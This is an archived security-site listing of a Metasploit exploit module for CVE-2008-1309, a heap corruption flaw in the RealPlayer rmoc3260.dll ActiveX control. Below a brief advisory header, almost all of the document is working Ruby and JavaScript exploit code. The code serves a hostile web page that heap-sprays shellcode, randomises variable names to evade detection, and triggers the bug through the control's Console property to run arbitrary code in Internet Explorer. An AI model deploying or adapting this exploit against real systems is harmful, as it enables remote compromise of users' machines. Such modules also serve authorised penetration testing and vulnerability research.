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realplayer_console.rb.txt

realplayer_console.rb.txt
Posted Apr 2, 2008
Authored by Elazar Broad

This Metasploit module exploits a heap corruption vulnerability in the RealPlayer ActiveX control. By sending a specially crafted string to the 'Console' property in the rmoc3260.dll control, an attacker may be able to execute arbitrary code.

tags | exploit, arbitrary, activex
advisories | CVE-2008-1309
SHA-256 | fe18e54c7136e0f4ddd02005a5baa3b152573f829ae72ec39f0b69c9755ba6b6

realplayer_console.rb.txt

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

module Msf

class Exploits::Windows::Browser::RealPlayer_Console < Msf::Exploit::Remote

include Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption',
'Description' => %q{
This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control.
By sending a specially crafted string to the 'Console' property
in the rmoc3260.dll control, an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
'Version' => '$Revision: 0 $',
'References' =>
[
[ 'CVE', 'CVE-2008-1309' ],
[ 'BID', '28157' ],
[ 'URL', 'http://secunia.com/advisories/29315/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => 'March 8 2008',
'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
ret = Rex::Text.uri_encode([target.ret].pack('L'))
blocksize = 0x40000
fillto = 400
offset = target['Offset']

# Randomize the javascript variable names
racontrol = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_ret = rand_text_alpha(rand(100) + 1)
j_m = rand_text_alpha(rand(100) + 1)

# Build out the message
content = %Q|
<html>
<object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object>
<script language='javascript'>
#{j_shellcode} = unescape('#{shellcode}');
#{j_nops} = unescape('#{nops}');
#{j_headersize} = 20;
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
#{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
#{j_ret} = unescape('#{ret}');
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};

#{j_m} = #{racontrol}.Console;
#{racontrol}.Console = #{j_ret};
#{racontrol}.Console = #{j_m};

#{j_m} = #{racontrol}.Console;
#{racontrol}.Console = #{j_ret};
#{racontrol}.Console = #{j_m};
</script>
</html>
|



print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

end
end
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